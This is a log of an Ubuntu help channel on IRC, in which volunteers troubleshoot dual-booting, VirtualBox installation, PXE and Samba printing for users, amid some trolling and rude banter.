[09:28] <KI7MT> tasslehoff, Here's a good example / explanation on *Nixcraft: http://www.cyberciti.biz/tips/linux-core-dumps.html
[09:33] <tasslehoff> thanks
[09:33] <KI7MT> You can add it to your bash profile / bashrc also.
[09:50] <alexa> how to turn some usb device off (to practically cut it off) via terminal?
[09:50] <dicaxdorcas> search engine
[09:50] <dicaxdorcas> use it
[09:50] <dicaxdorcas> you imbecile
[09:50] <alexa> for some reason, I need to remove the usb from PC and to put it in again.
[09:52] <snufft> hey guys
[09:53] <snufft> i'm waiting to install windows on another hdd and dualboot between win 7 pro and ubuntu 13.04. i've read that there can be problems installing windows after ubuntu. is this any different considering i'm installing windows to another disk entirely?
[09:54] <snufft> all of the tutorials talk about shrinking the windows partition, then installing ubuntu on the same disk.
[09:54] <traplin> snufft: i've found it a bit easier
[09:54] <traplin> to rather just install windows 7 first, and then Ubuntu. Ubuntu will add Windows 7 to its boot loader automatically
[09:57] <snufft> ok, well can i unplug my ubuntu disk, install windows on my empty disk, plug my ubuntu disk back in and recover grub somehow?
[09:57] <traplin> snufft: not entirely sure, you probably could give that a shot
[09:57] <snufft> i don't really want to blow away my ubuntu install and start again...
[09:57] <snufft> lol
[09:58] <BruceS> I am using encrypted home file system for the first time on a 12.4.3 system.  Always did entire disk encryption in the past.  Seems very slow on directory lookups such as ls, is this true?
[09:59] <traplin> snufft: haha yeah, well is your Ubuntu already installed?
[09:59] <alexa> snufft: you won't blow it away, since it's installed on another HDD
[10:01] <snufft> alexa: yeah, i know, i meant that i don't want to have to blow it away, install windows and then install ubuntu again :)
[10:01] <snufft> traplin: yeah, it's what i'm using now :)
[10:02] <traplin> snufft: then yeah, as Alexa said, you can't damage it if its on another hdd. so just boot up the windows 7 install, install it as is, and you should then boot into grub again, and be able to chose Win 7 or Ubuntu like normal
[10:02] <alexa> http://askubuntu.com/questions/247313/dual-booting-12-10-2-separate-hdd-windows-7
[10:02] <alexa> snufft: follow the link
[10:03] <snufft> traplin, alexa: thanks :)
[10:03] <snufft> i'll see how I go. hopefully everything will be ok :D
[10:03] <traplin> snufft: yeah :D
[10:04] <alexa> Make sure you have other USB hard drives disconnected when you do this. Install the whole Linux program to the hard drive you select. Doing it this way, prevents the Linux boot-loader from installing onto the windows hard drive, if you leave the windows hard drive plugged in while installing to the other hard drive, the Linux boot-loader (which is superior to the windows boot-loader) will be installed on the windows hard drive, and
[10:04] <alexa> will be the primary way your computer boots up.
[10:04] <alexa> this is what I've found
[10:05] <traplin> alexa: i installed windows 8 first, then Ubuntu, and it worked fine. Ubuntu did overwrite the boot loader, but it entered the windows 8 entry on its own, all automatically and fine, so i was able to boot between each easily
[10:05] <alexa> but I don't believe in that: If HDD with windows is present, linux boot loader would screw something on windows HDD ?!! wht?
[10:07] <alexa> traplin: All I know about dual boot is one failure (doing for one friend) and once I made it right (for my relatives). There's no need to use Win7. For me, linux is just fine :D
[10:07] <lepine> I forget with whom I was discussing this, but just for archival sake:
[10:08] <lepine> I didn't have any trouble recovering my encrypted home off a drive with a bunch of bad sectors.
[10:09] <supercuteboy> Dear community. I'm having strange problems with my internet connection. I used to not be able to connect with my wired connection on 13.04. I used to work magically sometimes and I played around a bit, and now it's working everytime. I remember playing around with VPN but I didn't change any major settings. As I want to install another system, I want to know what it is in order to figure out, what to do in the future.
[10:09] <traplin> alexa: haha, some people like to go back and fourth (like me). Ubuntu for coding for work, and then win for games
[10:10] <egasimus> hey guys
[10:10] <lepine> Provided you have the passphrase, a number of corrupted files in the underlying ecryptfs data store should be of no consequence
[10:11] <egasimus> I'm trying to run Raring (http://cloud-images.ubuntu.com/vagrant/raring/current/)
[10:11] <egasimus> in a VirtualBox VM via Vagrant
[10:11] <egasimus> and all is fine, but for some reason
[10:11] <egasimus> the kernel is reported to be 3.2
[10:11] <egasimus> while I expected it to be 3.2
[10:11] <egasimus> *3.8
[10:11] <lepine> I lost a dozen files, but all the rest were fine because it's not block device encryption
[10:11] <egasimus> ehh.
[10:11] <egasimus> any idea what gives?
[10:12] <alexa> traplin, my younger brother suffers from playin' games. Somehow, they all work fine under wine: Counter Strike, WoW, left4dead, etc.
[10:16] <ActionParsnip> egasimus: what is the output of: cat /etc/issue
[10:17] <alexa> how to turn off some USB device via terminal? I'd like to make the same effect as if I would remove the USB device manually from PC.
[10:17] <egasimus> Ubuntu 12.04 LTS. I'm running freaking Precise.
[10:18] <egasimus> and I have no idea why.
[10:18] <egasimus> damn...
[10:18] <egasimus> lemme try this again, brb.
[10:19] <meet> can i install any linux to a logical partition?
[10:20] <diverdude> How do i restart sshd ?
[10:20] <geirha> meet: yes, linux doesn't care whether it's installed on a primary or logical partition. Some old boot managers had trouble if the partition was too far away from the start of the disk, but I don't think that's an issue anymore.
[10:22] <meet> geirha: thanks
[10:23] <diverdude> How do i restart sshd ?
[10:23] <geirha> sudo service ssh restart
[10:23] <egasimus> ActionParsnip: That was it. Vagrant had cached the old image and was using that even though I had the URL to Raring in my configs. Thanks :)
[10:25] <ActionParsnip> egasimus: Precise is LTS, i suggest you use that. Raring is EOL in Jan next year so you WILL need to upgrade to Saucy to continue support
[10:27] <egasimus> ActionParsnip: I was hoping I could thing about this later. My hands are actually kind of tied by the very tools I use.
[10:28] <Ben64> you can upgrade the kernel in 12.04 if thats the issue
[10:28] <egasimus> ActionParsnip: if you have any idea how to update the kernel in a Precise box without breaking VirtualBox Guest Additions, well, be my guest
[10:28] <ActionParsnip> egasimus: ask in #vbox maybe
[10:28] <egasimus> ActionParsnip: I'll try that.
[10:28] <Ben64> its not that hard
[10:28] <Ben64> i didn't have to do anything special and vbox works fine
[10:32] <egasimus> Ben64: it's easy to do manually, but I'm trying to get the whole racket automated - I'm using Vagrant and vagrant-vbguest, and Fabric
[10:33] <egasimus> and I'm a Web app dev with little sysadmin experience
[10:33] <egasimus> so I launch the vagrant box, update the kernel, then I need to reload it so vagrant-vbguest compiles the correct version of guest additions against the correct kernel headers
[10:34] <egasimus> but I can't reload the box, because the pre-existing guest additions are now broken
[10:35] <egasimus> and mounting the shared folders fails, stopping the entire operation.
[10:35] <egasimus> so it's a chicken or egg thing, I guess. I've tinkered with it for the better part of yesterday and failed to come up with a solution
[10:38] <Ben64> what? i didn't do anything to get it working. i upgraded kernels and vbox continued working
[10:39] <egasimus> Are you using Vagrant?
[10:39] <egasimus> Ben64: are you using Vagrant?
[10:39] <Ben64> egasimus: no
[10:39] <egasimus> I also expected it to work because something something DKMS, but nope.
[10:40] <Ben64> try installing 12.04 fresh
[10:40] <Ben64> it comes with the new kernel now
[10:40] <egasimus> Ben64: http://cloud-images.ubuntu.com/vagrant/precise/current/
[10:40] <egasimus> will this work?
[10:41] <Codex_> hey
[10:41] <Codex_> I have managed to mess up virtualbox
[10:41] <Ben64> egasimus: dunno what those are
[10:41] <egasimus> Codex_: good for you :) didn't we all
[10:41] <Codex_> haha
[10:42] <Codex_> tryed removing and reinstalling but no luck
[10:43] <Em__> my computer no longer goes to the bootloader screen after I re-installed my Windows OS
[10:44] <auronandace> !grub | Em__
[10:44] <ObrienDave> Codex_, did you get the install from here? https://www.virtualbox.org/wiki/Linux_Downloads
[10:44] <Em__> auronandace: thanks
[10:44] <Em__> ubottu: thanks
[10:45] <Codex_> yes I did but then tryed to install the guest extras and it removed it and replaced it with one from the reps
[10:45] <Codex_> and now it doesnt work
[10:47] <ObrienDave> Codex_, try 'sudo apt-get purge virtualbox' in a terminal then reinstall
[10:47] <Codex_> ok
[10:48] <Codex_> reinstall from website or the repos?
[10:48] <Ben64> repos
[10:48] <Codex_> which packages?
[10:48] <Ben64> the website is not supported here
[10:48] <Codex_> the qt?
[10:49] <Ben64> whichever you want
[10:49] <ObrienDave> i would suggest double clicking the deb file from the website
[10:49] <Ben64> bad idea
[10:49] <ObrienDave> it works for me
[10:50] <Codex_> why bad idea?
[10:50] <Ben64> thats nice, but its not supported here so it shouldn't be suggested here
[10:50] <Codex_> ok
[10:50] <Ben64> also doesn't give you updates, and can mess with dependencies
[10:50] <Codex_> well the one in the repo doest get updated either
[10:51] <ObrienDave> it does but not as fast. it is more reliable
[10:51] <Codex_> yeah
[10:51] <surio> Right, I've forgotten how I did it before, and now I need to do it on a friend's PC, and it's mind bogglingly crazy.....
[10:51] <Ben64> it will never update if you download a deb and install manually
[10:52] <surio> tl;dr: Where do I change the top panel date settings in gconf-editor
[10:52] <ActionParsnip> Ben64: unless the same named package exists n the repos
[10:52] <ActionParsnip> Ben64: so not wholly true
[10:52] <surio> or is it dconf-editor I should be tackling?
[10:52] <Ben64> sounds like a overall bad idea
[10:53] <Codex_> ok just installed and it says system problem ditected
[10:53] <Codex_> Error! Bad return status for module build on kernel: 3.8.0-30-generic (x86_64)
[10:53] <Codex_> Consult /var/lib/dkms/virtualbox/4.1.12/build/make.log for more information.
[10:53] <Codex_> Setting up virtualbox-qt (4.1.12-dfsg-2ubuntu0.3) ...
[10:54] <ActionParsnip> Codex_: install it in cli and then run:  sudo apt-get -f install
[10:54] <Codex_> cli?
[10:54] <ActionParsnip> Codex_: command line, in a terminal
[10:54] <Codex_> ok
[10:54] <ObrienDave> command line interface, terminal
[10:56] <Codex_> well that doesnt do anything
[10:57] <ActionParsnip> Codex_: so you ran:   sudo apkg -i filename.deb
[10:57] <ActionParsnip> Codex_: so you ran:   sudo dpkg -i filename.deb
[10:57] <Codex_> what file?
[10:58] <Codex_> not sure what you want me to do?
[11:01] <Codex_> can you help?
[11:04] <ActionParsnip> Codex_: the file you double clicked on...the deb?
[11:04] <ActionParsnip> Codex_: what exactly are you trying to install?
[11:04] <Codex_> ok so should I remove and then install from .deb
[11:04] <Codex_> virtualbox
[11:05] <ActionParsnip> Codex_: if you have the one from the Ubuntu repos then yes
[11:05] <Codex_> ok
[11:05] <ActionParsnip> Codex_: why did you not add the irtualbox repo?
[11:05] <ActionParsnip> Codex_: what is the output of: cat /etc/issue
[11:05] <Codex_> is there a virualbox repo?
[11:06] <ActionParsnip> Codex_: yes, what is the output of:  cat /etc/issue
[11:06] <Codex_> one sec
[11:06] <ActionParsnip> people do stuff the hardest way they can find....
[11:07] <Codex_> Ubuntu 12.04.3 LTS \n \l
[11:07] <ActionParsnip> Codex_: ok as one BIG command run:
[11:08] <ActionParsnip> Codex_: echo "deb http://download.virtualbox.org/virtualbox/debian precise contrib" | sudo tee /etc/apt/soutces.list.d/virtualbox.list > /dev/null
[11:08] <ActionParsnip> Codex_: then run:
[11:08] <Codex_> ok
[11:08] <ActionParsnip> Codex_: wget -q http://download.virtualbox.org/virtualbox/debian/oracle_vbox.asc -O- | sudo apt-key add -
[11:08] <Codex_> in a sec
[11:08] <ActionParsnip> Codex_: then run:  sudo apt-get update; sudo apt-get install virtualbox-4.2
[11:09] <Codex_> will show you what happens when I try install normally
[11:09] <ActionParsnip> Codex_: all from: https://www.virtualbox.org/wiki/Linux_Downloads
[11:09] <ActionParsnip> Codex_: copied and pasted most of that
[11:09] <ActionParsnip> Codex_: don't need normally, weare adding the repo which will fix things
[11:10] <Codex_> ok
[11:11] <Codex_> for echo "deb http://download.virtualbox.org/virtualbox/debian precise contrib" | sudo tee /etc/apt/soutces.list.d/virtualbox.list > /dev/null I get tee: /etc/apt/soutces.list.d/virtualbox.list: No such file or directory
[11:11] <ActionParsnip> Codex_: its all there, on the official Virtualbox site, why would you do it any differently?
[11:11] <ActionParsnip> Codex_: soorry, change it to /etc/apt/sources.list.d/virtualbox.list
[11:11] <Codex_> ok
[11:14] <Codex_> ok its installing now
[11:14] <ObrienDave> cool :)
[11:14] <Codex_> well, downloading tat is
[11:14] <ObrienDave> that's a good thing
[11:14] <Codex_> haha thanks
[11:19] <Sling> I just updated my Ubuntu 12.04 PXE boot environment to 12.04.3, by using all files in the install/netboot/ubuntu-installer/amd64 directory, yet when booting that kernel and entering the setup menu, it complains about the CD-ROM not being found
[11:20] <Sling> I can't find a reference to a media location anywhere, where would the old CD contents be on the PXE host?
[11:20] <cfhowlett> Sling, might also want to ask in #ubuntu-server where such an installation is probably performed more often.
[11:21] <Sling> hm yes will try there too
[11:21] <Wiz_KeeD> ikonia, you were right, since I kept everything clean, not installing anything suspicious and using virtual environment for any pip install, the systems runs pretty smooth, no error and I made another small update to firefox and some other stuff and doesn't seem to cause any troubles
[11:22] <ikonia> Wiz_KeeD: again - shouldn't be using pip
[11:23] <ikonia> you shouldn't be updating firefox unless it comes from the ubuntu official repo
[11:23] <Wiz_KeeD> I use it in the virtual environment only
[11:23] <ikonia> Wiz_KeeD: shouldn't be using pip - full stop
[11:23] <Wiz_KeeD> it was the official update, the gui came up at last boot
[11:23] <ikonia> Wiz_KeeD: so you've not got any third party repos or PPA's enabled ?
[11:24] <ActionParsnip> Codex_: easier, right
[11:24] <Codex_> almost done downloading
[11:24] <Codex_> but yes
[11:24] <BluesKaj> 'Morning folks
[11:24] <Codex_> easier
[11:24] <Wiz_KeeD> ikonia, just one for sublime text editor and just that, and the canonical-partners to install skype, that's it
[11:24] <ActionParsnip> Codex_: as the repo gets updated it will update virtualbox too
[11:25] <Codex_> awesome thanks
[11:29] <Codex_> Selecting previously unselected package virtualbox-4.2.
[11:29] <Codex_> Unpacking virtualbox-4.2 (from .../virtualbox-4.2_4.2.18-88780~Ubuntu~precise_amd64.deb) ...
[11:29] <Codex_> dpkg: error processing /var/cache/apt/archives/virtualbox-4.2_4.2.18-88780~Ubuntu~precise_amd64.deb (--unpack):
[11:29] <Codex_>  subprocess new pre-installation script returned error exit status 1
[11:29] <Codex_> E: Sub-process /usr/bin/dpkg returned an error code (1)
[11:29] <FloodBot1> Codex_: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[11:34] <Nephro> is ubuntu server a good os for a server machine?
[11:34] <jrib> Nephro: sure
[11:34] <clue_h> yes
[11:35] <Guest25083> hi guys, i think i have lost all the true contents of my /etc/environment file, how can i define a true value of the PATH in that file, am running ubuntu 12.04 LTS
[11:35] <Nephro> does the 13.04 support new hardware? Just bough a new machine and my usual debian installer choked
[11:35] <jrib> Guest25083: PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"
[11:36] <Guest25083> grib: great, thanks please :)
[11:42] <anuvrat> hey I am trying to setup a pxe boot server. I have mounted the image on /var/www/ubuntu and am serving it via apache .. but how do I make the root parameter in my boot.cfg point here?
[11:44] <johann_> kann mir bei der installation eine tar.gz paketes helfen? Paket ist heruntergeladen und entpackt. Bei weiteren Schritten habe ich Probleme.
[11:44] <DJones> !at | johann_
[11:45] <cfhowlett> DJones, wait, isn't that german?
[11:46] <DJones> cfhowlett: NOt sure, but the !at factoid refers to both ubuntu-at and ubuntu-de, plus the hostname was .at
[11:47] <Guest25083> again guys i think it is possible to use the less command to edit like my /etc/environment  file, and if so, how can i do this, any links would really help me, and if it can't help how can i do this,    am resolving a bug of login returing login page when i login iin true data, i suppose this is the cause
[11:47] <cfhowlett> DJones, hmm.  OK then.
[11:47] <cloudgeek> Hey, I am using ubuntu 12.04 LTS,  I need to download a driver for Wi-fi.Right now I am working from Window,I don't access to LAN.So first I need to downlaod driver on window,then using Flash drive, I would switch to the Ubuntu.Then Install it, so from where I can downlaod the driver
[11:48] <cfhowlett> cloudgeek, what's your chipset?
[11:49] <jozefk> anybody get HDMI working on sandy bridge?
[11:50] <cloudgeek> cfhowlett: I have a laptop Dell insipron 1440, my processor is intel core 2 duo
[11:51] <cfhowlett> cloudgeek, no the wifi chipset ...
[11:52] <cfhowlett> !wifi
[11:52] <jrib> Guest25083: i'm confused.  How did you lose the true contents of your /etc/environment
[11:52] <cloudgeek> cfhowlett: Last time i used b43 sta broadcom
[11:54] <cfhowlett> cloudgeek, well that's one way.  My dell 1545 with broadcom.  I hit the terminal and extracted the 3 - 4 required files from the ubuntu ISO.  90 seconds later had a live wifi connection without even a reboot.
[11:54] <JollyJumper> Help, how do I find out what the hell "5:76~pre1ubuntu10" means? I want to see what version of KDE4 is available in the software manager, and that is the version it shows me for kde-standard.
[11:55] <cloudgeek> cfhowlett: let me do it
[11:55] <Guest25083> jrib: i miseditted the path variable while installing tomcat and i could not tell the true original value,
[11:55] <LucidGuy> I've created a local directory with .deb and my packages.gz, and added the entry into sources.list.  All is good with that package but apt-get complains that the packages cannot be authenticated.  Anyone know how I can authenticate them?
[11:55] <Nephro> Question: I have a receiving service that needs to be run 24/7 on my server. Where should I store such a program, how do I launch it?
[11:55] <Guest25083> i have also known that less is only to view and not change
[11:55] <cfhowlett> cloudgeek  see the No Internet Connection STA method:  http://turbolinux.org/2011/07/ubuntu-broadcom-bcm43xx-chipset-pci/
[11:56] <jrib> Guest25083: why are you asking how to edit /etc/enviornment with less if you edited the file before?  Are you asking for a way to edit inside the terminal?  Less is a viewer, not an editor
[11:57] <Guest25083> jrib: yes, i cannot login via UI, but i can using console, and so i want an inbuilt way of editing that file
[11:57] <jrib> Guest25083: you can use "sudo nano /etc/environment"  To save, hit ctrl-o, to exit, hit ctrl-x.
[11:59] <Guest25083> thanks jrib: am going to do that surely, again am grateful for your help :)
[12:00] <sun_fengxiang> 能用汉语不
[12:01] <sun_fengxiang> 怎么给ubuntu安装qq阿
[12:01] <DJones> !cn | sun_fengxiang
[12:02] <sky__> 额。。你直接登录web2.qq.com
[12:07] <karthikeyan> Is anyone there ?
[12:07] <SuperbXA> Hi, how can I install ubuntu on my keyboard?
[12:07] <JohnnySj> Hi, how can I install ubuntu on my keyboard?
[12:07] <jrib> JohnnySj: are you a bot?
[12:08] <SuperbXA> no
[12:08] <JohnnySj> no
[12:08] <jrib> aoeu?
[12:08] <jrib> SuperbXA, JohnnySj: one of you needs to quit or stop.
[12:08] <SuperbXA> I'm not a bot
[12:08] <SuperbcD> Hi, how can I install ubuntu on my keyboard?
[12:08] <SuperbcD> no
[12:08] <JohnnyyR> Hi, how can I install ubuntu on my keyboard?
[12:08] <JohnnyyR> no
[12:08] <SuperbXA> Can you help me?
[12:08] <SuperbXA> im really not a bot though
[12:08] <ActionParsnip> JohnnyyR: does the keyboard have a cpu and a hard drive and ram and a video chip?
[12:09] <jrib> SuperbXA: ok
[12:09] <SuperbXA> im trying to install ubuntu on fat16
[12:09] <ActionParsnip> SuperbXA: it cant happen
[12:09] <ActionParsnip> SuperbXA: fat16 is not appropriate for Linux permissions
[12:09] <SuperbXA> then how do I isntall ubuntu on my monitor
[12:09] <gac> since SuperbVM was just flooding, clearly superbxa is the same troll...
[12:09] <ActionParsnip> SuperbXA: : does the keyboard have a cpu and a hard drive and ram and a video chip?
[12:09] <ActionParsnip> SuperbXA: : does the monitor have a cpu and a hard drive and ram and a video chip?
[12:10] <SuperbXA> yes
[12:10] <Emery> ubuntu is easy to install on your monitor
[12:10] <ActionParsnip> SuperbXA: then its no different to any other pc. just install
[12:10] <SuperbXA> i have all requirements necessary
[12:10] <ActionParsnip> SuperbXA: then make a CD or USB stick and install
[12:10] <SuperbXA> how do i make a usb stick
[12:10] <SuperbXA> dont they make those at the factory
[12:10] <ActionParsnip> SuperbXA: use unetbootin in windows
[12:11] <SuperbXA> unetbootin?
[12:11] <SuperbXA> whats that?
[12:11] <ActionParsnip> SuperbXA: you use a usb stick with the ubuntu iso and make a bootable usb stick
[12:11] <ActionParsnip> SuperbXA: unetbootin is an application, search for it. The web can tell you a lot
[12:11] <SuperbXA> ok after i connect the blank usb what do i do then
[12:11] <Emery> SuperbXA, do you have the usb plugged into your cd drive ?
[12:12] <ActionParsnip> SuperbXA: run unetbootin and point the application to the previously downloaded ubuntu ISO file
[12:12] <SuperbXA> how do i plugin a usb into a cd drive? is that even possible
[12:12] <ActionParsnip> SuperbXA: it will put the data on to the USB stick and make it bootable
[12:12] <SuperbXA> hold on ill try to force it in there
[12:12] <ActionParsnip> SuperbXA: then burn the ISO to a CD
[12:12] <SuperbXA> i dont think the usb is going to fit into the cd rom though
[12:12] <SuperbXA> but ill try, one sec
[12:13] <ActionParsnip> SuperbXA: it wont, you will need a CD which you can make with the same ISO and a blank CD
[12:13] <Emery> SuperbXA, you can only burn onto blank USBs
[12:13] <SuperbXA> wait how do i close the cdrom once the usb is in?
[12:13] <ActionParsnip> Emery: there is no burning, usb storage is magnetic
[12:13] <Emery> is  it ?
[12:13] <Emery> i thought you burnt onto usb
[12:13] <SuperbXA> burn? i dont want my computer to burn
[12:13] <Emery> :S
[12:13] <ActionParsnip> Emery: yes, so what 'burning' happens?
[12:13] <Emery> i just heard someone say
[12:13] <SuperbXA> wait ubuntu burns your system?
[12:13] <Emery> i burnt an iso onto my usb
[12:13] <SuperbXA> flames and all?
[12:13] <ActionParsnip> SuperbXA: its how you put data on a CD, it uses an intense laser to etch the surface
[12:13] <green_geeky_dude> o_O is someone doing a windup?
[12:14] <SuperbXA> oh
[12:14] <SuperbXA> so you mean i download and install it onto the usb
[12:14] <Emery> SuperbXA, do you have a zip drive ?
[12:14] <Emery> it might work on there
[12:14] <SuperbXA> then put it into hte cd rom?
[12:14] <ActionParsnip> Emery: you didnt. The data was copied. There is no burning. CDs are burned as a more intense laser s used to modify the dye on the disk to represent the data
[12:14] <Emery> ActionParsnip, I prefer 'burning to usb'
[12:14] <ActionParsnip> Emery: magnetic media isnt burned, that's my point
[12:15] <Emery> 'burning to usb'
[12:15] <ObrienDave> silly person, you WRITE to an USB
[12:15] <Emery> is fine
[12:15] <Emery> why would you write on a usb stick ?
[12:15] <SuperbXA> i dont have a drive that zips should i ahve one
[12:15] <Emery> that doesnt get the iso on there
[12:15] <SuperbXA> i have usb stick
[12:15] <ActionParsnip> Emery:unetbootin simply extracts the data and copies it to the storage, just like if you were putting images onto the stick
[12:15] <glambert> can you "su mysql"?
[12:15] <glambert> or run a script as the mysql user?
[12:15] <ObrienDave> *full moon*
[12:15] <ActionParsnip> Emery: do you burn pictures to a usb stick too?
[12:15] <Emery> so an iso is burnt on usb ?
[12:15] <SuperbXA> ok so once i have ubuntu on the usb what do i do
[12:16] <SuperbXA> OHHHH
[12:16] <ActionParsnip> Emery: its not, its copied. Just like when you drag and drop MP3s and images
[12:16] <SuperbXA> I have to burn the iso onto a usb?
[12:16] <Emery> can you use photoshop on ubuntu ?
[12:16] <SuperbXA> what does that mean??
[12:16] <Emery> or CMD ?
[12:16] <ObrienDave> *no feeding trolls*
[12:16] <ActionParsnip> Emery: you'll have to check the wine appdb
[12:16] <SuperbXA> oh you can use CMD to install ubuntu?
[12:16] <Emery> wine ?
[12:16] <Emery> cant i open exe ?
[12:16] <k1l> SuperbXA: troll somewhere else. dont spoil the support
[12:16] <ActionParsnip> Emery: gnome-terminal is similar and more than cmd
[12:16] <SuperbXA> can i install it with notepad?
[12:16] <Emery> but i like cmd
[12:17] <SuperbXA> im not trolling,....
[12:17] <SuperbXA> im asking questions.
[12:17] <ActionParsnip> Emery: terminal can do everything and more that cmd can do
[12:17] <SuperbXA> if you're not going to help ill try someone else
[12:17] <Emery> SuperbXA, i think these people are rude, i need help also
[12:17] <ActionParsnip> Emery: what do you need in cmd and I can give the linux equivelant
[12:17] <SuperbXA> no need to be a dick, sheesh
[12:17] <Emery> wow
[12:17] <Emery> admins are mean
[12:18] <glambert> can you "su mysql"?
[12:18] <ActionParsnip> Emery: what do you need in cmd and I can give the linux equivelant
[12:18] <glambert> or run a script as the mysql user?
[12:18] <SuperbXA> yeah emery i noticed
[12:18] <SuperbXA> see how childish that was
[12:18] <Emery> wow
[12:18] <Emery> admins are douche
[12:18] <Emery> no wonder ubuntu sucks dick
[12:18] <ActionParsnip> Emery: what do you need in cmd and I can give the linux equivelant
[12:19] <Emery> lol
[12:19] <Emery> i need ipconfig
[12:19] <k1l> !guidelines > Emery
[12:19] <ActionParsnip> Emery: then use:   ifconfig
[12:19] <ActionParsnip> Emery: such a basic command. Is taht all you need? seriously?
[12:19] <Emery> no ActionParsnip ipcofig not ifconfig
[12:19] <ActionParsnip> Emery: its the same
[12:19] <Emery> you spelt it wrong
[12:19] <cfhowlett> *spelled*
[12:19] <ActionParsnip> Emery: in Linux it is ifconfig
[12:20] <ActionParsnip> Emery: in Windows it is ipconfig
[12:20] <Emery> is it ?
[12:20] <ActionParsnip> cfhowlett: in UK English, spelt is correct and both are acceptable
[12:20] <ActionParsnip> EmLeX: try it
[12:20] <k1l> ActionParsnip: dont mind the troll. he got lots of bantracker files
[12:20] <ActionParsnip> k1l: i have time to kill :)
[12:21] <cfhowlett> ActionParsnip, :)  OK ... and here I thought "spelt" was a type of grain ...
[12:21] <glambert> now that the trolls have buggered off, is it possible to run commands as the mysql user?  when I run "su mysql" it does nothing
[12:22] <glambert> I'm logged in as root btw
[12:22] <ActionParsnip> cfhowlett: yeah it confuses AMericans so they use the latin base but spelt is fine in UK English where English originats from :)
[12:22] <ObrienDave> I understood 'spelt'. i'm american LOL
[12:24] <ActionParsnip> http://oxforddictionaries.com/definition/english/spelt :)
[12:24] <BluesKaj> ActionParsnip:  i recall "spelt" in grade school spelling was incorrect , here in Canada.
[12:25] <ObrienDave> that's because Canada is a commonwealth ;))
[12:25] <glambert> mysql:x:103:107:MySQL Server,,,:/nonexistent:/bin/false
[12:25] <glambert> is /bin/false the reason I can't su to mysql?
[12:26] <BluesKaj> nope it used to be a Dominion , ActionParsnip , but don't ask me to define it :) . and part of the commonwealth still .
[12:26] <glambert> nevermind, got it
[12:27] <theahindle> Howdy I have two ubuntu 12.04 LTS boxes, one setup, one brand new. I need the brand new one, to be the same as the one that's setup. Is this the right thing to use? dump -0 -f - / | ssh -c blowfish root@target_machine "cd /; restore -rf -"
[12:27] <theahindle> Will that not cause issues with things that are already running, replacing /usr/bin/sshd with a new one or something?
[12:30] <dv-> theahindle: it should unless you restart sshd
[12:30] <ghostknife> I have a old hardy dev server on which i want to install a package, but the repositories no longer contain hardy packages. Are there any archive repositories I can use?
[12:30] <Nephro> why is Ubuntu server installer looking for some cd rom and failing to find it? (installing from usb drive)
[12:32] <bazhang> Nephro, check your sources.list
[12:32] <ActionParsnip> Nephro: you have the CD referenced as a package source in /etc/apt/sources.list
[12:32] <Nephro> umm
[12:32] <ActionParsnip> Nephro: comment it out and then it will not be needed
[12:32] <jpds_> bazhang / ActionParsnip: Installer, not system.
[12:32] <Nephro> how do I do that again if I am in the installer?
[12:32] <k1l> ghostknife: you should step to another still supported LTS release (10.04 or better 12.04)
[12:33] <Kartagis> any idea why google-chrome would run youtube videos at twice their speed audio-wise?
[12:33] <jpds_> ghostknife: That machine must be so old; you're better off installing a new version on it.
[12:34] <ActionParsnip> Kartagis: what is the output of:  cat /etc/issue
[12:35] <Kartagis> Ubuntu 13.04 \n \l
[12:35] <ActionParsnip> Kartagis: have you tried:   killall pulseaudio; rm -r ~/.config/pulse*     wait 10 seconds then reboot?
[12:35] <Kartagis> nope
[12:35] <Kartagis> let me try
[12:42] <hojgaard> I need some help on my print server. I've set up a print server with raspberry pi and samba, and it works perfectly with windows machines, but with Ubunut i cannot print?
[12:42] <ActionParsnip> hojgaard: on the clients, if you run:  smbtree    do you see the printer share?
[12:43] <almostworking> anyone tell me how i can make unity stop maximizing my windows when i move them?
[12:43] <ActionParsnip> almostworking: disable the grid plugin in ccsm
[12:43] <ActionParsnip> hojgaard: can the clients ping the server?
[12:43] <Kartagis> ActionParsnip: that seems to have fixed it, thanks
[12:44] <hojgaard> ActionParsnip, Yes i see it perfectly. \\RASPRINT\hp1020 under WORKGROUP
[12:44] <ActionParsnip> Kartagis: its the first thing I advise for sound issues
[12:44] <hojgaard> ActionParsnip, yes, the connectivity is perfect...
[12:44] <ActionParsnip> hojgaard: can you ping rasprint ok?
[12:44] <ghostknife> k1l, jpds_: reinstalls are planned and will happen in the next 3 or so months. for the time being however I'd really like to get librrd4 and dependencies on there. so an archive repo would be ideal
[12:44] <ActionParsnip> hojgaard: ok thats good
[12:45] <ActionParsnip> hojgaard: in the printer setup if you use the search printers, does it show?
[12:45] <k1l> ghostknife: there are the historic repos. but be aware that there is no support and that this is a huge security issue
[12:45] <k1l> !eol | ghostknife
[12:45] <almostworking> ccsm ActionParsnip ?
[12:46] <ActionParsnip> almostworking: yes, ccsm
[12:47] <Kartagis> thanks ActionParsnip
[12:48] <Nephro> why do I just get a grub command line when I try to install ubuntu server from a usb drive created by the ubuntu bootable usb creator
[12:48] <Nephro> ?
[12:48] <ActionParsnip> Kartagis: I also believe it is in the sound troubleshooting procedure doc
[12:48] <ActionParsnip> Nephro: did you MD5 test the ISO you downloaded?
[12:48] <Nephro> ActionParsnip, nope
[12:48] <Nephro> i never do
[12:48] <almostworking> ActionParsnip: i dont know what ccsm is.
[12:48] <ActionParsnip> Nephro: then how do you know the ISO was complete and error free?
[12:49] <hojgaard> ActionParsnip, It is something with the authentication.. I see it when i search... But when i add the printer it says: ree connect failed (NT_STATUS_ACCESS_DENIED)
[12:49] <ActionParsnip> almostworking: install compizconfig-settings-manager   then run it
[12:49] <ActionParsnip> hojgaard: run:  sudo smbpasswd -a $USER
[12:49] <ActionParsnip> hojgaard: you can then add the username and password when you map the printer
[12:49] <hojgaard> ActionParsnip, on the server?
[12:50] <almostworking> ahh, ok thank you ActionParsnip .......
[12:50] <ActionParsnip> hojgaard: yes, you are making a samba credential
[12:50] <ActionParsnip> almostworking: if you run 'ccsm' in terminal, it would have told you that.....
[12:51] <almostworking> i did a apt search on ccsm, and didnt get what i needed so ihad to ask.
[12:51] <almostworking> unity is new to me
[12:51] <ActionParsnip> almostworking: its a COmpiz plugin which has been default for a LOT of releases
[12:52] <hojgaard> ActionParsnip, i think i need the samba-common-bin for that, right?
[12:52] <almostworking> all distros i have used are debian stable based, still are for desktop,  solusos , crunchbang etc.  im old school.
[12:53] <ActionParsnip> hojgaard: for what?
